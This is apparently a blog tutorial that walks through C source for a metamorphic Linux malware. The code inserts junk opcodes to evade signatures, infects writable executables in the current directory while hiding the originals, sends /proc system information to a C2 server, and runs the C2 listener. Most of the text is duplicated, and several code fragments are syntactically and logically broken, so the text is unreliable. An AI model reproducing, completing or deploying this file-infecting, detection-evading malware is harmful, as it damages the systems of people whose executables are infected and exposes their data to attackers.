In this article, I'll explain how to write a simple metamorphic malware , I've already posted two articles about malware, So as usual I'll give you a some kind of an overview of how this works, followed by code examples and finally a detailed explanation. Source Code
So, what exactly do I mean by **Metamorphic Malware** well writing malware that is undetectable is painful malware often uses a range
of techniques like changing the packer used. In all cases it makes detection more time consuming and resource intensive to isolate and identify the malware signature. However Metamorphic malware changes itself to an equal form, including adding varying lengths of NOP instructions, adding useless instructions and loops within the code segments, and finally altering use registers. Polymorphic malware on the other hand encrypts its original code to avoid being recognized as a pattern (next time, perhaps)
Background
- You need to have some experience with C and low level assembly. You must also be very familiar with the Linux operating system and build tools, All of the discussion here is pretty complicated, but I'll try to make it as easy to follow as possible.
Overview
- The core task of this malware is to retrieve some information of the system, we are speaking of reading and sending back to the C2 server, the target (OS) is Linux, First activated by running the compiled bytecode then proceeded to scans the current directory and overwrites all executable files that have not been previously infected with its morphed code, Next the original executable is run from a file it was copied to during the propagation phase to disguise the fact that the actual executable was infected. Finaly the malware will establish a connection with C2 & begin collecting basic data about the (OS) and close the connection hardly anything malicious, except exposing your system information to unknown future threats
JUNK_ASM_ is a macro that inserts our sequence of junk operations anywhere we want in the code. it's initially just writing out `B_PUSH_` and `B_NOP` , _`JUNKLEN`_ is the number of `NOP` in that sequence - not the full length of the sequence.
Next we have a simple function that will read our object code into memory. Notice the ``JUNK_ASM`` macro calls inserted before variable declarations. You're going to see a lot more throughout the code.
Assembly instruction
Starts by looking for a `PUSH` opcode followed by a `POP` opcode on the same register
The junk assembly instructions use the following pattern so that they can be identified
r1 = random register from RAX, RBX, RCX or RDX
r2 = a different random register from RAX, RBX, RCX, RDX
We then pick one of registers at random, and write out the `PUSH` and `POP` operations for that register at either end of the sequence.
Note:
- by reading `/dev/urandom` , some systems are considering suspicious softwares using too much of the system randomness, Also may risk returning low-quality randomness if used just after boot.
Replacement of junk
- There is always the same number of junk assembly sequences spread throughout the file, and they are being replaced with different sequences of random opcodes they are always being replaced in place.
Also, when inserting the replacement junk assembly opcodes they aren't "any random opcodes", because this could cause the program to crash or unexpected behaviour to occur. Opcodes are chosen at random from within a certain range, which have been chosen to ensure they have no impact on the successful operation of the rest of the program code. The range is small because this is only an example. The choice and range of opcodes used could of course be expanded.
Propagation Phase
- Executes a bash command and hide an original executable file and Embeds the malware in the executable.
- Lists files in passed in directory path
Main Function
- Finally we have the main function. This just calls the functions previously described. We read in the code, replace the junk, then write it out again. The `argv[0]` argument contains the application filename.
The C2 Server
- The data extraction module (dext) runs on a well defined port (which can be modified at will) and will start an autonomous thread listening for incoming connections by malware instances. Once connected, the module will simply print on the standard output the content of the incoming connection (which are is the information extracted by the client).
Connect to the C2 server
Read the content of the _/proc_ files
The `/proc` files I find most valuable, especially for inherited system discovery, are:
/proc/cmdline
- This file shows the parameters passed to the kernel at the time it is started.
The value of this information is in how the kernel was booted because any switches or special parameters will be listed here, too. And like all information under `/proc`, it can be found elsewhere and usually with better formatting, but `/proc` files are very handy when you can't remember the command or don't want to `grep` for something.
/proc/cpuinfo
The `/proc/cpuinfo` file is the first file I check when connecting to a new system. I want to know the CPU make-up of a system and this file tells me everything I need to know.
Send the content to our c2 server
- Thread module. This module is in charge of accepting connection on a certain port and show the incoming data on the screen.
END
That’s all for now. I hope you learned something from this. The malware simply explains the concept; we aren’t really attempting to evade detection. The challenge with code morphing is that it requires expertise, skills, and effort to write and is simply limited by a number of factors. Most malware authors will code something that is completely unprotected and can be used just as-is, once detected, it will be impossible to use the malware again, so getting a small number of results is still worthwhile.
So, what exactly do I mean by **Metamorphic Malware** well writing malware that is undetectable is painful malware often uses a range
of techniques like changing the packer used. In all cases it makes detection more time consuming and resource intensive to isolate and identify the malware signature. However Metamorphic malware changes itself to an equal form, including adding varying lengths of NOP instructions, adding useless instructions and loops within the code segments, and finally altering use registers. Polymorphic malware on the other hand encrypts its original code to avoid being recognized as a pattern (next time, perhaps)
Background
- You need to have some experience with C and low level assembly. You must also be very familiar with the Linux operating system and build tools, All of the discussion here is pretty complicated, but I'll try to make it as easy to follow as possible.
Overview
- The core task of this malware is to retrieve some information of the system, we are speaking of reading and sending back to the C2 server, the target (OS) is Linux, First activated by running the compiled bytecode then proceeded to scans the current directory and overwrites all executable files that have not been previously infected with its morphed code, Next the original executable is run from a file it was copied to during the propagation phase to disguise the fact that the actual executable was infected. Finaly the malware will establish a connection with C2 & begin collecting basic data about the (OS) and close the connection hardly anything malicious, except exposing your system information to unknown future threats
C:
/* The first part we includes a few essential libraries. Next we have defines for various opcodes.
These will typically be combined with other values to generate a full instruction */
#define B_PUSH_RAX ".byte 0x50\n\t"
#define B_PUSH_RBX ".byte 0x53\n\t"
#define B_POP_RAX ".byte 0x58\n\t"
#define B_POP_RBX ".byte 0x5b\n\t"
#define B_NOP ".byte 0x48,0x87,0xc0\n\t"
#define H_PUSH 0x50
#define H_POP 0x58
#define H_NOP_0 0x48
#define H_NOP_1 0x87
#define H_NOP_2 0xC0
#define JUNK_ASM __asm__ __volatile__ (B_PUSH_RBX B_PUSH_RAX B_NOP B_NOP B_POP_RAX B_POP_RBX)
#define JUNKLEN 10
JUNK_ASM_ is a macro that inserts our sequence of junk operations anywhere we want in the code. it's initially just writing out `B_PUSH_` and `B_NOP` , _`JUNKLEN`_ is the number of `NOP` in that sequence - not the full length of the sequence.
Next we have a simple function that will read our object code into memory. Notice the ``JUNK_ASM`` macro calls inserted before variable declarations. You're going to see a lot more throughout the code.
C:
/* Load file in read binary mode */
int32_t load_file(uint8_t **file_data, uint32_t *file_len, const char *filename) {
JUNK_ASM;
// Opens file in read binary mode
FILE *fp = fopen(filename, "rb");
// Sets the file position of the stream to the given offset (0 long int)
fseek(fp, 0L, SEEK_END);
// Sets the length of the file
if (ftell(fp) < 1) {
} else {
*file_len = ftell(fp);
}
// Allocates memory to the length of the file
*file_data = malloc(*file_len);
// Gets the file position of the stream to the start of the file
fseek(fp, 0L, SEEK_SET);
// Reads the data into the file variable in memory
if (fread((void*)*file_data, *file_len, 1, fp) != 1) {
free(file_data);
return EXIT_FAILURE;
}
// Closes the file
fclose(fp);
return EXIT_SUCCESS;
}
Assembly instruction
Starts by looking for a `PUSH` opcode followed by a `POP` opcode on the same register
C:
/* Write assembly instruction */
void
insert_junk(uint8_t *file_data, uint64_t junk_start) {
JUNK_ASM;
uint8_t reg_1 = (local_rand()%4); // see below
uint8_t reg_2 = (local_rand()%4); // see below
while(reg_2 == reg_1) {
reg_2 = (local_rand()%4);
}
uint8_t push_r1 = 0x50 + reg_1;
uint8_t push_r2 = 0x50 + reg_2;
uint8_t pop_r1 = 0x58 + reg_1;
uint8_t pop_r2 = 0x58 + reg_2;
uint8_t nop[3] = {0x48,0x87,0xC0};
nop[2] += reg_1;
nop[2] += (reg_2 * 8);
file_data[junk_start] = push_r1;
file_data[junk_start + 1] = push_r2;
file_data[junk_start + 2] = nop[0];
file_data[junk_start + 3] = nop[1];
file_data[junk_start + 4] = nop[2];
file_data[junk_start + 5] = nop[0];
file_data[junk_start + 6] = nop[1];
file_data[junk_start + 7] = nop[2];
file_data[junk_start + 8] = pop_r2;
file_data[junk_start + 9] = pop_r1;
}
The junk assembly instructions use the following pattern so that they can be identified
r1 = random register from RAX, RBX, RCX or RDX
r2 = a different random register from RAX, RBX, RCX, RDX
We then pick one of registers at random, and write out the `PUSH` and `POP` operations for that register at either end of the sequence.
C:
local_rand()
{
int digit;
FILE *fp;
// Opens file in read mode
fp = fopen("/dev/urandom", "r");
// Reads the file into the code variable in memory
fread(&digit, 1, 1, fp);
// Closes the file
fclose(fp);
return digit;
}
Note:
- by reading `/dev/urandom` , some systems are considering suspicious softwares using too much of the system randomness, Also may risk returning low-quality randomness if used just after boot.
C:
/* Writes binary code to file */
int32_t write_file(uint8_t *file_data, uint32_t file_len, const char *filename)
{
JUNK_ASM;
FILE *fp;
int lastoffset = strlen(filename)-1;
char lastchar = filename[lastoffset];
char *newfilename = strdup(filename);
lastchar = '0'+(isdigit(lastchar)?(lastchar-'0'+1)%10:0);
newfilename[lastoffset] = lastchar;
// Opens file with binary write permissions
fp = fopen(newfilename, "wb");
if (fp == NULL){
free(newfilename);
return(EXIT_FAILURE);
}
fwrite(file_data, file_len, 1, fp);
if (ferror (fp))
fclose(fp);
free(newfilename);
return EXIT_SUCCESS;
}
Replacement of junk
- There is always the same number of junk assembly sequences spread throughout the file, and they are being replaced with different sequences of random opcodes they are always being replaced in place.
C:
for (uint64_t i = 0; i < file_len; i += 1) {
// Start of the junk ASM
if (file_data[i] >= H_PUSH && file_data[i] <= (H_PUSH + 3)) continue;
if (file_data[i + 1] >= H_PUSH && file_data[i + 1] <= (H_PUSH + 3)) continue;
if (file_data[i + 2 == H_NOP_0]) continue;
if (file_data[i + 3] == H_NOP_1) {
insert_junk(file_data, i);
}
}
Also, when inserting the replacement junk assembly opcodes they aren't "any random opcodes", because this could cause the program to crash or unexpected behaviour to occur. Opcodes are chosen at random from within a certain range, which have been chosen to ensure they have no impact on the successful operation of the rest of the program code. The range is small because this is only an example. The choice and range of opcodes used could of course be expanded.
Propagation Phase
- Executes a bash command and hide an original executable file and Embeds the malware in the executable.
C:
/* hide an original executable file */
void hide_file(const char *bash_code, const char *filename)
{
JUNK_ASM;
int cmd_len = strlen(bash_code) + strlen(filename) + 1;
sprintf(bash_code, filename, filename);
}
/* Embeds the malware */
void embed_code(uint8_t *file_data, uint32_t file_len, const char *filename)
{
JUNK_ASM;
copy_and_hide_file("cp %s .one_%s", filename);
execute_bash("chmod +x %s",filename);
write_file(file_data, file_len, filename);
}
- Lists files in passed in directory path
C:
void propagate(const char *path, const char *exclude)
{
JUNK_ASM;
DIR *dir;
struct dirent *ent;
// Open directory stream
dir = opendir ("./");
if (dir != NULL) {
// Iterate over all files in the current directory
while ((ent = readdir (dir)) != NULL) {
// Select regular files only, not DT_DIR (directories) nor DT_LNK (links)
if (ent->d_type == DT_REG)
{
// Select executable and writable files that can be infected
if (access(ent->d_name, X_OK) == 0 && access(ent->d_name, W_OK) == 0)
{
// Ignore the executable that is running the program
if (strstr(exclude, ent->d_name) != NULL)
{
original_executable = ent->d_name;
}
}
Main Function
- Finally we have the main function. This just calls the functions previously described. We read in the code, replace the junk, then write it out again. The `argv[0]` argument contains the application filename.
C:
int main(int argc, char* argv[]) {
JUNK_ASM;
// Load this file into memory
uint8_t *file_data = NULL;
uint32_t file_len;
load_file(&file_data, &file_len, argv[0]);
// Replace the existing junk ASM sequences with new ones
replace_junk(file_data, file_len);
free(file_data);
return EXIT_SUCCESS;
The C2 Server
- The data extraction module (dext) runs on a well defined port (which can be modified at will) and will start an autonomous thread listening for incoming connections by malware instances. Once connected, the module will simply print on the standard output the content of the incoming connection (which are is the information extracted by the client).
Connect to the C2 server
C:
JUNK_ASM;
int c2_fd;
struct hostent * c2_res;
struct sockaddr_in addr;
c2_fd = socket(AF_INET, SOCK_STREAM, 0);
c2_res = gethostbyname("localhost");
addr.sin_family = AF_INET;
memcpy(&addr.sin_addr.s_addr, c2_res->h_addr, c2_res->h_length);
// 0x539 is "1337" in host byte order.
addr.sin_port = htons(0x539);
// Send the content of the files to the C2 server
sys_info(c2_fd);
// Close and die
close(c2_fd);
Read the content of the _/proc_ files
The `/proc` files I find most valuable, especially for inherited system discovery, are:
C:
send(sockfd, "/proc/version");
send(sockfd, "/proc/cmdline");
send(sockfd, "/proc/cpuinfo");
send(sockfd, "/proc/meminfo");
/proc/cmdline
- This file shows the parameters passed to the kernel at the time it is started.
Bash:
cat /proc/cmdline
BOOT_IMAGE=/vmlinuz-3.10.0-1062.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto spectre_v2=retpoline rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
The value of this information is in how the kernel was booted because any switches or special parameters will be listed here, too. And like all information under `/proc`, it can be found elsewhere and usually with better formatting, but `/proc` files are very handy when you can't remember the command or don't want to `grep` for something.
/proc/cpuinfo
The `/proc/cpuinfo` file is the first file I check when connecting to a new system. I want to know the CPU make-up of a system and this file tells me everything I need to know.
Bash:
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 142
model name : Intel(R) Core(TM) i5-7360U CPU @ 2.30GHz
stepping : 9
cpu MHz : 2303.998
cache size : 4096 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 22
Send the content to our c2 server
- Thread module. This module is in charge of accepting connection on a certain port and show the incoming data on the screen.
C:
struct sockaddr_in cltaddr;
int i;
int br;
char buf[BUF_SIZE];
printf("Listening for incoming reports...\n");
/* Keep on listening... */
while(1) {
cltfd = accept(dexft_fd, (struct sockaddr *)&cltaddr, &cltlen);
continue;
}
printf("Collecting data from client %s:%d...\n",
inet_ntoa(cltaddr.sin_addr),
cltaddr.sin_port);
do {
br = recv(cltfd, buf, BUF_SIZE, 0);
for(i = 0; i < br; i++) {
printf("%c", buf[i]);
}
/* Close the socket */
close(cltfd);
}
/* Never reaching this point */
return 0;
}
int
dext_init(int port)
{
struct sockaddr_in srvaddr;
printf("Initializing Data Extraction module...\n");
dexft_fd = socket(AF_INET, SOCK_STREAM, 0);
srvaddr.sin_family = AF_INET;
srvaddr.sin_addr.s_addr = INADDR_ANY;
srvaddr.sin_port = htons(port);
return 0;
}
END
That’s all for now. I hope you learned something from this. The malware simply explains the concept; we aren’t really attempting to evade detection. The challenge with code morphing is that it requires expertise, skills, and effort to write and is simply limited by a number of factors. Most malware authors will code something that is completely unprotected and can be used just as-is, once detected, it will be impossible to use the malware again, so getting a small number of results is still worthwhile.